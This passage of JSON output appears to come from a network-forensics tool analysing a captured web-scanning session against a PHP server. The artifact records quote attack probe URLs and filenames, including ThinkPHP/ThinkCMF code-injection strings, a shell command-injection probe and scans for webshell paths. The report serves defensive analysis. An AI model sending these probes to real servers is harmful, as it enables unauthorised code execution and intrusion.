          "event_id": "evt-1b2cce1f2d7e80eadf9c8b08",
          "src_port": 80,
          "tcp_stream": 73,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2378,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256438.048393000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2380",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65366,
          "event_id": "evt-1d80a0b73ccb731ebf0f36ed",
          "src_port": 80,
          "tcp_stream": 73,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2381,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256438.318818000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2387",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51031,
          "event_id": "evt-fd9ddd398f8f17449d857510",
          "src_port": 80,
          "tcp_stream": 74,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2389,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256442.065846000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51805,
          "event_id": "evt-a8f5c24c13cc3527b5f6db86",
          "src_port": 80,
          "tcp_stream": 76,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2403,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256448.780642000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2405",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51805,
          "event_id": "evt-b32163e6c9ce421a135f7e56",
          "src_port": 80,
          "tcp_stream": 76,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2406,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256449.639352000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2408",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51805,
          "event_id": "evt-4761db6a1fe654b8f25fd35e",
          "src_port": 80,
          "tcp_stream": 76,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2409,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256449.910506000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2411",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51805,
          "event_id": "evt-11c273b8c177ba19a2e4eeb1",
          "src_port": 80,
          "tcp_stream": 76,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2412,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256450.178893000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2414",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51805,
          "event_id": "evt-e6d1641943ecb0ea4302f2cb",
          "src_port": 80,
          "tcp_stream": 76,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2415,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256450.448401000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2417",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51805,
          "event_id": "evt-a8c5903aa14ebfbcfa2354e0",
          "src_port": 80,
          "tcp_stream": 76,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2418,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256450.716527000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2420",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51805,
          "event_id": "evt-b99d4dca12d47e35297039f2",
          "src_port": 80,
          "tcp_stream": 76,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2421,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256450.983732000"
        }
      ],
      "tls_client_hello": [],
      "unclassified_tcp": [],
      "directory_service": []
    },
    "capture": {
      "format": "pcap-le-microsecond",
      "packet_count": 2438,
      "interface_ids": [],
      "source_sha256": "a86c6a31ed04ed05571f997d296f8e7c7be7f262f6e602bd72d9e5de656945c5",
      "captured_bytes": 609656,
      "protocol_counts": {
        "ip": 2438,
        "eth": 2438,
        "tcp": 2438,
        "data": 2,
        "http": 1246,
        "ethertype": 2438,
        "data-text-lines": 622,
        "urlencoded-form": 383
      },
      "duration_seconds": 1187.641113,
      "last_packet_epoch": "1577256516.171391",
      "source_size_bytes": 648688,
      "first_packet_epoch": "1577255328.530278",
      "encapsulation_types": [
        1
      ]
    },
    "summary": "Decoded 2438 packets across 2 IP endpoints and 83 transport flows. Observed 0 DNS events, 622 HTTP requests, 0 TLS ClientHello events, and 149 recovered file/message object(s). Deterministic rules produced 2 finding(s): 0 high, 2 medium, and 0 low. Findings are evidence-bound candidates and require analyst review; encrypted payload contents remain unavailable.",
    "coverage": {
      "warnings": [],
      "limitations": [
        "Encrypted application contents are not decrypted",
        "Protocol decoding and heuristic findings do not establish malware family or attribution",
        "No endpoint execution, persistence, or credential-theft proof without corresponding evidence"
      ],
      "event_limits": {
        "dns": {
          "returned": 0,
          "truncated": false
        },
        "dhcp": {
          "returned": 0,
          "truncated": false
        },
        "smtp": {
          "returned": 0,
          "truncated": false
        },
        "identity": {
          "returned": 0,
          "truncated": false
        },
        "http_request": {
          "returned": 622,
          "truncated": false
        },
        "http_response": {
          "returned": 622,
          "truncated": false
        },
        "tls_client_hello": {
          "returned": 0,
          "truncated": false
        },
        "unclassified_tcp": {
          "returned": 0,
          "truncated": false
        },
        "directory_service": {
          "returned": 0,
          "truncated": false
        }
      },
      "http_objects": {
        "complete": true,
        "selection": "content-classified first, then size descending, SHA256 tie-break; deduplicated by full hash; overflow retains a compact hash index",
        "hashed_bytes": 181808,
        "export_status": "completed",
        "unique_hashes": 149,
        "hashed_objects": 1007,
        "compact_objects": 0,
        "detailed_objects": 149,
        "exported_objects": 1007,
        "unhashed_objects": 0,
        "compact_hash_index": [],
        "omitted_unique_hashes": 0,
        "returned_unique_hashes": 149
      },
      "name_resolution": false,
      "supplemental_objects": {
        "scope": "bounded IMF, inert embedded base64 and complete contiguous HTTP response recovery",
        "returned": 0
      },
      "complete_within_profile": true,
      "encrypted_payload_visibility": "metadata-only"
    },
    "findings": [
      {
        "title": "Repeated outbound HTTP POST activity",
        "status": "candidate",
        "metrics": {
          "uri": "/qq.php",
          "host": "128.199.64.235",
          "port": 80,
          "source": "139.199.184.166",
          "destination": "10.12.25.101",
          "request_count": 6,
          "declared_body_bytes": 119
        },
        "rule_id": "repeated-http-posts",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 591,
            "display_filter": "frame.number == 591",
            "timestamp_epoch": "1577255614.119116000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 924,
            "display_filter": "frame.number == 924",
            "timestamp_epoch": "1577255774.767048000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 1090,
            "display_filter": "frame.number == 1090",
            "timestamp_epoch": "1577255814.023132000"
          },
          {
            "tcp_stream": 35,
            "frame_number": 1246,
            "display_filter": "frame.number == 1246",
            "timestamp_epoch": "1577255886.969399000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1751,
            "display_filter": "frame.number == 1751",
            "timestamp_epoch": "1577256162.146081000"
          },
          {
            "tcp_stream": 64,
            "frame_number": 1929,
            "display_filter": "frame.number == 1929",
            "timestamp_epoch": "1577256245.178080000"
          }
        ],
        "severity": "medium",
        "confidence": 0.72,
        "finding_id": "finding-9e298ff810ccf802b8d6c285",
        "explanation": "The same endpoint pair and HTTP target produced repeated POST requests suitable for beaconing or data transfer review.",
        "rule_version": "pcap-rules-v5"
      },
      {
        "title": "Repeated outbound HTTP POST activity",
        "status": "candidate",
        "metrics": {
          "uri": "/1.php",
          "host": "128.199.64.235",
          "port": 80,
          "source": "139.199.184.166",
          "destination": "10.12.25.101",
          "request_count": 6,
          "declared_body_bytes": 128
        },
        "rule_id": "repeated-http-posts",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 930,
            "display_filter": "frame.number == 930",
            "timestamp_epoch": "1577255776.486853000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 933,
            "display_filter": "frame.number == 933",
            "timestamp_epoch": "1577255776.975704000"
          },
          {
            "tcp_stream": 50,
            "frame_number": 1497,
            "display_filter": "frame.number == 1497",
            "timestamp_epoch": "1577256050.592425000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1659,
            "display_filter": "frame.number == 1659",
            "timestamp_epoch": "1577256131.504197000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1668,
            "display_filter": "frame.number == 1668",
            "timestamp_epoch": "1577256133.203563000"
          },
          {
            "tcp_stream": 64,
            "frame_number": 1922,
            "display_filter": "frame.number == 1922",
            "timestamp_epoch": "1577256241.792241000"
          }
        ],
        "severity": "medium",
        "confidence": 0.72,
        "finding_id": "finding-23fe904e78a62affb365081e",
        "explanation": "The same endpoint pair and HTTP target produced repeated POST requests suitable for beaconing or data transfer review.",
        "rule_version": "pcap-rules-v5"
      }
    ],
    "artifacts": [
      {
        "md5": "c7e3eafb144f2ba544982cfee86447e2",
        "sha1": "f0706f181ba9d36aac436db18ed9da02fb3ff5a0",
        "type": "http-exported-object",
        "sha256": "54439de67d3af19d75b468511444a25f067767ff629b0e0262bb6781ed27b7bd",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 12,
            "display_filter": "frame.number == 12",
            "timestamp_epoch": "1577255332.203424000"
          },
          {
            "tcp_stream": 5,
            "frame_number": 282,
            "display_filter": "frame.number == 282",
            "timestamp_epoch": "1577255408.320589000"
          },
          {
            "tcp_stream": 5,
            "frame_number": 287,
            "display_filter": "frame.number == 287",
            "timestamp_epoch": "1577255408.608799000"
          },
          {
            "tcp_stream": 5,
            "frame_number": 299,
            "display_filter": "frame.number == 299",
            "timestamp_epoch": "1577255411.263081000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2058,
            "display_filter": "frame.number == 2058",
            "timestamp_epoch": "1577256332.051088000"
          }
        ],
        "filename": "%2f",
        "filenames": [
          "%2f",
          "%2f(2)",
          "%3fa=echo%20-n%20HelloNginx%7Cmd5sum",
          "object2058.text%2fhtml",
          "php%3e"
        ],
        "transfers": [
          {
            "url": "http://128.199.64.235/",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 1,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "200",
            "completeness": "matches-declared-content-length",
            "request_frame": 10,
            "response_frame": 12
          },
          {
            "url": "http://128.199.64.235/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 5,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "200",
            "completeness": "matches-declared-content-length",
            "request_frame": 280,
            "response_frame": 282
          },
          {
            "url": "http://128.199.64.235/",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 5,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "200",
            "completeness": "matches-declared-content-length",
            "request_frame": 285,
            "response_frame": 287
          },
          {
            "url": "http://128.199.64.235/?a=echo%20-n%20HelloNginx%7Cmd5sum",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 5,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "200",
            "completeness": "matches-declared-content-length",
            "request_frame": 297,
            "response_frame": 299
          },
          {
            "url": "",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 70,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "200",
            "completeness": "matches-declared-content-length",
            "request_frame": null,
            "response_frame": 2058
          }
        ],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 468,
        "artifact_id": "artifact-643d7053c881ebaa1be98eb1",
        "occurrences": 5,
        "completeness": "matches-declared-content-length",
        "body_features": {
          "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
          "truncated": false,
          "identities": [],
          "inspected_bytes": 468,
          "credential_record_present": false,
          "private_key_marker_present": false,
          "system_inventory_marker_present": false
        },
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 468,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "47fc4b08c206302021ab7239e2ffc718",
        "sha1": "05db6d36a57b42b7958703dbbe8debac797b45e4",
        "type": "http-exported-object",
        "sha256": "a96a4910f93b4c0458875c5a212a738ea90d9d6ce1ed4bb45bbe441504d82183",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 22,
            "display_filter": "frame.number == 22",
            "timestamp_epoch": "1577255333.020538000"
          }
        ],
        "filename": "%2f(1)",
        "filenames": [
          "%2f(1)"
        ],
        "transfers": [
          {
            "url": "http://128.199.64.235/",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 1,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "200",
            "completeness": "unknown",
            "request_frame": 21,
            "response_frame": 22
          }
        ],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 468,
        "artifact_id": "artifact-212239489b7ffe0b8ef07819",
        "occurrences": 1,
        "completeness": "unknown",
        "body_features": {
          "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
          "truncated": false,
          "identities": [],
          "inspected_bytes": 468,
          "credential_record_present": false,
          "private_key_marker_present": false,
          "system_inventory_marker_present": false
        },
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 468,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "1a5e1cc8a0dffc32fb5dae467f47641b",
        "sha1": "02cae67bce2083ba443784f3f0450347a88e0411",
        "type": "http-exported-object",
        "sha256": "5125bf862c72ccb0de89bbd789010efdd11456196c712f9342320c66a8f6fb87",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1706,
            "display_filter": "frame.number == 1706",
            "timestamp_epoch": "1577256139.529195000"
          }
        ],
        "filename": "(1).php",
        "filenames": [
          "(1).php"
        ],
        "transfers": [
          {
            "url": "http://128.199.64.235/.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 55,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "403",
            "completeness": "matches-declared-content-length",
            "request_frame": 1705,
            "response_frame": 1706
          }
        ],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 279,
        "artifact_id": "artifact-641bbba8be34cc2864249fe6",
        "occurrences": 1,
        "completeness": "matches-declared-content-length",
        "body_features": {
          "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
          "truncated": false,
          "identities": [],
          "inspected_bytes": 279,
          "credential_record_present": false,
          "private_key_marker_present": false,
          "system_inventory_marker_present": false
        },
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 279,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "70aaa31a23ec73c47015983ed40dbd6c",
        "sha1": "2134b6643fcf53ff3dd93749248f1e519e82833d",
        "type": "http-exported-object",
        "sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 16,
            "display_filter": "frame.number == 16",
            "timestamp_epoch": "1577255332.482986000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 19,
            "display_filter": "frame.number == 19",
            "timestamp_epoch": "1577255332.751382000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 26,
            "display_filter": "frame.number == 26",
            "timestamp_epoch": "1577255333.295077000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 29,
            "display_filter": "frame.number == 29",
            "timestamp_epoch": "1577255333.957508000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 32,
            "display_filter": "frame.number == 32",
            "timestamp_epoch": "1577255334.311238000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 35,
            "display_filter": "frame.number == 35",
            "timestamp_epoch": "1577255336.010016000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 46,
            "display_filter": "frame.number == 46",
            "timestamp_epoch": "1577255346.055804000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 50,
            "display_filter": "frame.number == 50",
            "timestamp_epoch": "1577255349.559513000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 53,
            "display_filter": "frame.number == 53",
            "timestamp_epoch": "1577255350.624735000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 56,
            "display_filter": "frame.number == 56",
            "timestamp_epoch": "1577255353.337887000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 60,
            "display_filter": "frame.number == 60",
            "timestamp_epoch": "1577255355.201166000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 63,
            "display_filter": "frame.number == 63",
            "timestamp_epoch": "1577255355.468806000"
          },
          {
            "tcp_stream": 3,
            "frame_number": 70,
            "display_filter": "frame.number == 70",
            "timestamp_epoch": "1577255356.305077000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 76,
            "display_filter": "frame.number == 76",
            "timestamp_epoch": "1577255356.564006000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 87,
            "display_filter": "frame.number == 87",
            "timestamp_epoch": "1577255368.255636000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 90,
            "display_filter": "frame.number == 90",
            "timestamp_epoch": "1577255368.523274000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 93,
            "display_filter": "frame.number == 93",
            "timestamp_epoch": "1577255368.816525000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 95,
            "display_filter": "frame.number == 95",
            "timestamp_epoch": "1577255369.090995000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 98,
            "display_filter": "frame.number == 98",
            "timestamp_epoch": "1577255369.358832000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 101,
            "display_filter": "frame.number == 101",
            "timestamp_epoch": "1577255369.755912000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 104,
            "display_filter": "frame.number == 104",
            "timestamp_epoch": "1577255370.024203000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 107,
            "display_filter": "frame.number == 107",
            "timestamp_epoch": "1577255370.291932000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 110,
            "display_filter": "frame.number == 110",
            "timestamp_epoch": "1577255370.559695000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 113,
            "display_filter": "frame.number == 113",
            "timestamp_epoch": "1577255370.827480000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 116,
            "display_filter": "frame.number == 116",
            "timestamp_epoch": "1577255371.669245000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 119,
            "display_filter": "frame.number == 119",
            "timestamp_epoch": "1577255371.937192000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 122,
            "display_filter": "frame.number == 122",
            "timestamp_epoch": "1577255372.204932000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 125,
            "display_filter": "frame.number == 125",
            "timestamp_epoch": "1577255372.472563000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 128,
            "display_filter": "frame.number == 128",
            "timestamp_epoch": "1577255372.741382000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 131,
            "display_filter": "frame.number == 131",
            "timestamp_epoch": "1577255373.009027000"
          }
        ],
        "filename": "!.php",
        "filenames": [
          "!.php",
          "${@die(md5(HelloThinkPHP))}",
          "${@die(md5(HelloThinkPHP))}(1)",
          "%3fcontent=die(md5(HelloThinkPHP))",
          "%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74",
          "099(1).php",
          "1(1).php",
          "1(11).php",
          "1(3).php",
          "1(5).php",
          "1(7).php",
          "1(9).php",
          "11a(1).php",
          "12(1).php",
          "1213(1).php",
          "123(1).php",
          "1234(1).php",
          "1hou(1).php",
          "1ts.php",
          "1x.php",
          "2(1).php",
          "2(3).php",
          "2ndex(1).php",
          "3(1).php",
          "4(1).php",
          "411(1).php",
          "415(1).php",
          "421(1).php",
          "444(1).php",
          "51314(1).php"
        ],
        "transfers": [
          {
            "url": "http://128.199.64.235/robots.txt",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 1,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 15,
            "response_frame": 16
          },
          {
            "url": "http://128.199.64.235/Admin1f768268/Login.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 1,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 18,
            "response_frame": 19
          },
          {
            "url": "http://128.199.64.235/l.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 1,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 25,
            "response_frame": 26
          },
          {
            "url": "http://128.199.64.235/phpinfo.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 1,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 28,
            "response_frame": 29
          },
          {
            "url": "http://128.199.64.235/test.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 1,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 31,
            "response_frame": 32
          },
          {
            "url": "http://128.199.64.235/index.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 1,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 34,
            "response_frame": 35
          },
          {
            "url": "http://128.199.64.235/bbs.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 2,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 44,
            "response_frame": 46
          },
          {
            "url": "http://128.199.64.235/forum.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 2,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 48,
            "response_frame": 50
          },
          {
            "url": "http://128.199.64.235/forums.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 2,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 52,
            "response_frame": 53
          },
          {
            "url": "http://128.199.64.235/bbs/index.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 2,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 55,
            "response_frame": 56
          },
          {
            "url": "http://128.199.64.235/forum/index.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 2,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 58,
            "response_frame": 60
          },
          {
            "url": "http://128.199.64.235/forums/index.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 2,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 62,
            "response_frame": 63
          },
          {
            "url": "http://128.199.64.235:80/webdav/",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 3,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 68,
            "response_frame": 70
          },
          {
            "url": "http://128.199.64.235/help.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 2,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 75,
            "response_frame": 76
          },
          {
            "url": "http://128.199.64.235/java.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 85,
            "response_frame": 87
          },
          {
            "url": "http://128.199.64.235/_query.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
